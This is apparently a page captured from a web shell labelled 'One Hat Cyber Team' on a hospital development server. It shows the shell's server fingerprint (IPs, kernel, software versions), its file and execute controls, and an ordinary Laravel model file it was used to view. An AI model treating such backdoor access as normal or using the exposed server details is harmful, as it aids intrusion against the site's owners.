⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
hospital.dev-unit.com
/
app
/
Models
/
View File Name :
Feature.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Attributes\Scope; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; /** * App\Models\Feature * * @property int $id * @property string $name * @property int|null $submenu * @property array|null $route * @property int|null $has_parent * @property int|null $is_default * @property \Illuminate\Support\Carbon|null $created_at * @property \Illuminate\Support\Carbon|null $updated_at * * @method static \Illuminate\Database\Eloquent\Builder|Feature hasParent() * @method static \Illuminate\Database\Eloquent\Builder|Feature isDefault() * @method static \Illuminate\Database\Eloquent\Builder|Feature newModelQuery() * @method static \Illuminate\Database\Eloquent\Builder|Feature newQuery() * @method static \Illuminate\Database\Eloquent\Builder|Feature query() * @method static \Illuminate\Database\Eloquent\Builder|Feature whereCreatedAt($value) * @method static \Illuminate\Database\Eloquent\Builder|Feature whereHasParent($value) * @method static \Illuminate\Database\Eloquent\Builder|Feature whereId($value) * @method static \Illuminate\Database\Eloquent\Builder|Feature whereIsDefault($value) * @method static \Illuminate\Database\Eloquent\Builder|Feature whereName($value) * @method static \Illuminate\Database\Eloquent\Builder|Feature whereRoute($value) * @method static \Illuminate\Database\Eloquent\Builder|Feature whereSubmenu($value) * @method static \Illuminate\Database\Eloquent\Builder|Feature whereUpdatedAt($value) * * @mixin \Eloquent */ class Feature extends Model { use HasFactory; /** * @var string[] */ public static $rules = [ 'name' => 'required|unique:features,name', ]; public $table = 'features'; public $fillable = [ 'name', 'submenu', 'route', 'has_parent', 'is_default', ]; /** * Get the attributes that should be cast. * * @return array<string, string> */ protected function casts(): array { return [ 'id' => 'integer', 'name' => 'string', 'submenu' => 'integer', 'route' => 'array', 'has_parent' => 'integer', 'is_default' => 'integer', ]; } /** * @return mixed */ #[Scope] protected function hasParent($query) { return $query->where('has_parent', '=', 0); } /** * @return mixed */ #[Scope] protected function isDefault($query) { return $query->where('is_default', '=', 0); } }